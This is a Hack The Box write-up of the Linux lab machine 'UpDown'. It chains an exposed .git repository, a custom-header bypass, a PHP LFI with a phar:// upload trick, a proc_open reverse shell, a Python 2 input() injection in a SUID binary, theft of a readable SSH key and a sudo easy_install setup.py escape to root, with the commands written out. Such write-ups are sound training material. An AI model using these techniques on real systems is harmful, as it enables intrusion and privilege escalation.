UpDown — HTB Write-up
Difficulty: Medium
OS: Linux
IP: 10.10.11.177
Overview

UpDown is a medium-difficulty Linux machine involving several stages of enumeration and exploitation.
The initial foothold is obtained through a vulnerable web application., I found its source code through an exposed .git repository which led me tp discovering a development subdomain protected by a custom HTTP header
The application contains a PHP Local File Inclusion vulnerability that can be combined with an upload functionality and the phar:// wrapper to achieve Remote Code Execution.After obtaining a shell as www-data, I exploited a vulnerable SUID Python application to become the developer user. Finally, the developer account was allowed to execute easy_install with sudo, which could be abused to obtain a root shell.
2. Reconnaissance
Nmap
I started with a full TCP port scan:
nmap -sCV -p- -T4 -v <IP> -oN nmap
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: "Is my Website up ?"
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 16 07:27:45 2026 -- 1 IP address (1 host up) scanned in 531.02 seconds
The scan revealed two interesting ports:
22/tcp open ssh
80/tcp open http
Having no credentials it was obvious that the main attack surface was therefore the web server running on port 80.
3. Web Enumeration

Browsing to the website showed a web application that allows users to check whether a given website is online.
The application also revealed the hostname:siteisup.htb
I added it to /etc/hosts:
echo "<IP> siteisup.htb" | sudo tee -a /etc/hosts
The application had a debug functionality that allowed me to observe how it handled the supplied URL.
Virtual Host Enumeration
I next searched for virtual hosts using FFUF:
ffuf -u http://siteisup.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H " Host : FUZZ.siteisup.htb" -fs 1131
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1131
________________________________________________
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 132ms]
:: Progress: [19966/19966] :: Job [1/1] :: 140 req/sec :: Duration: [0:01:18] :: Errors: 0 ::
I added the subdomain:
echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts
However, accessing it directly returned:403 Forbidden
4. Directory Enumeration
I enumerated directories on the main website:
gobuster dir \
-u http://siteisup.htb/ \
-w /usr/share/wordlists/dirb/common.txt
One interesting directory was:
/dev
Running Gobuster against it:
gobuster dir \
-u http://siteisup.htb/dev \
-w /usr/share/wordlists/dirb/common.txt
revealed:.git
An exposed .git directory is particularly interesting because it can potentially expose the application's source code and Git history.
Dumping the Git Repository
I used git-dumper to retrieve the repository:
git-dumper http://siteisup.htb/dev/.git updown.git
I could then inspect the downloaded source code locally.
One of the most interesting files was:
.htaccess
The configuration revealed that access to the development application required a special HTTP header:
Special-Dev: only4dev
Without this header, access was denied.
6. Accessing the Development Application
I added the following header to my requests using a browser extension called Modheader:

The development application was another version of the website checker.
At this point I went back to the source code retrieved from Git.
7. Identifying the LFI
Looking at index.php, I found:
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
The application directly passes the page parameter to PHP's include() function.
This is potentially vulnerable to Local File Inclusion.
There is a blacklist intended to prevent access to directories such as:
/bin
/usr
/home
/var
/etc
However, the application does not properly prevent other PHP stream wrappers.
This became important when I inspected checker.php.
8. File Upload Functionality
The application accepts a file containing a list of websites.
The source code showed several restrictions.
The uploaded file must be smaller than 10 KB:
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
Several extensions are blacklisted
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
The uploaded file is then stored under
uploads/<md5(time())>/
The most important finding is that .phar is not included in the blacklist
A PHAR archive can contain PHP code, meaning the extension blacklist is insufficient.
9. Exploiting phar://
I created a simple PHP payload:
<?php phpinfo(); ?>
and saved it as: info.php
I then compressed it and renamed it into a txt file since .zip is blacklisted
zip info.zip info.php
mv info.zip info.txt
After uploading the file, I could reference the archive using the PHP phar:// wrapper.
The vulnerable parameter could therefore be used in a form similar to:
?page=phar://uploads/<directory>/info.txt/info
This caused PHP to process the embedded PHP file and resulted in the phpinfo() output being displayed.
10. Bypassing Disabled PHP Functions
Although I had code execution, the PHP configuration disabled several common command execution functions, including:

Therefore, a simple PHP reverse shell would not work.
I used dfunc-bypasser to identify alternative PHP functions that were still available.
so i downloaded the phpinfo page and feeded it to the dfunc-bypasser
python2 dfunc-bypasser.py --file ~/HTB/UpDown/PHPINFO
,---,
.' .' `\
,---.' \
| | .`\ |
: : | ' |
| ' ' ; :
' | ; . |
| | : | '
' : | / ;
| | '` ,/
; : .'
| ,.'
'---'
authors: __c3rb3ru5__, $_SpyD3r_$
Please add the following functions in your disable_functions option:
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socke
The results showed that proc_open() was available.
proc_open() can be used to start a process, making it suitable for command execution.
Getting a Shell as www-data
I found this PHP payload that uses proc_open():

I compressed the file and renamed it to bypass the upload restrictions:
zip rev.zip rev.php
mv rev.zip rev.txt
I started a listener:
nc -lvnp 1337
Then I triggered the uploaded PHAR through the vulnerable page parameter.The reverse shell connected back successfully.
I now had:
www-data@updown:/var/www/dev$ ```
## Enumerating the Target
I checked the home directory and i only found a user called developper that had a directory called dev
I entered itand files immediately stood out:
```text
siteisup
siteisup_test.py
The siteisup binary had the SUID bit set.
Exploiting the SUID Python Application
I inspected the Python source code.
The application essentially did:
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
The important detail was that the script used: input()
and the syntax showed that this was Python 2.
In Python 2, input() evaluates the supplied input as Python code, similar to eval().
Since the executable was SUID and owned by developer, code executed through this application inherited the developer privileges.
I supplied:
__import__('os').system('/bin/bash')
The payload was executed by the SUID program and gave me a shell as:
www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
. Developer SSH Key
With access as developer, I checked the user's SSH directory:
cat /home/developer/.ssh/id_rsa
The private SSH key was readable.
I copied the key to my local machine and restricted its permissions
then connected through SSH:
ssh -i id_rsa developer@siteisup.htb
This gave me a more stable shell as developer and we got the flag
Privilege Escalation
The first thing i did as always was checking the user's sudo permissions:
developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
The important entry showed that developer could execute: easy_install
as root without a password.
This was the final privilege escalation vector.
16. Exploiting easy_install
i remeber one time seing the easy_install script one time while scrolling the GTFOBINS website on another box so i didn't waste any time and went straight to it
So basically easy_install is an old Python package-installation utility and ane of the important things it can do is process a Python package directory.
For example: easy_install .When easy_install processes that directory, it looks for a Python installation script called:setup.py and executes Python code from it.
so if create my own setup.py file then execute it as sudo i can get a shell
I i navigate to /tmp and create a directory named malicious there after that I create a malicious setup.py:
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > /tmp/malicious/setup.py
Finally, I executedit
sudo easy_install /tmp
# whoami
root
With root access, we can read the root flag :
cat /root/root.txt
The machine was successfully compromised.

Review
I really enjoyed this machine with its high and lows i was stuck for a while on the user flag and i couldn't have done it without hints but this is part of the learning journey and i really enjoyed the attack chain but for the root flag to be honest it was a piece of cake . See you in another one ! <3


Top comments (0)